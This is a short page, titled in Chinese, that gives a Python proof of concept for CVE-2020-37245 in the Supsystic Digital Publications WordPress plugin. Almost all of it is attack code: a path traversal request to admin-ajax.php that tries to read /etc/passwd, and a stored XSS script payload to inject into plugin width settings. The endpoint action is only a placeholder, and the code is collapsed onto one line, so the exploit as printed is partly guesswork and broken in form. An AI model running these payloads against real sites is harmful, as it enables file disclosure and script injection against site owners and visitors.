CVE-2020-37245: Supsystic插件路径遍历与XSS漏洞

import requests # PoC for CVE-2020-37245: Path Traversal & Stored XSS # Target: Supsystic Digital Publications <= 1.6.9 # 1. Path Traversal PoC def check_path_traversal(target_url): # Vulnerable endpoint example (admin-ajax.php is common in WP) endpoint = target_url + "/wp-admin/admin-ajax.php" # Payload to read /etc/passwd payload = { "action": "some_folder_action", # Replace with actual action name if known "folder": "../../../etc/passwd", "id": "1" } try: response = requests.post(endpoint, data=payload) if "root:" in response.text: print("[+] Path Traversal Vulnerability Confirmed!") print(response.text[:200]) else: print("[-] Path Traversal not detected.") except Exception as e: print(f"Error: {e}") # 2. Stored XSS PoC Payload # Inject this into 'Area Width' or 'Publication Width' parameter xss_payload = '"><script>alert("CVE-2020-37245_XSS")</script>' print(f"XSS Payload to inject in settings: {xss_payload}") # Usage # check_path_traversal("http://target-site.com")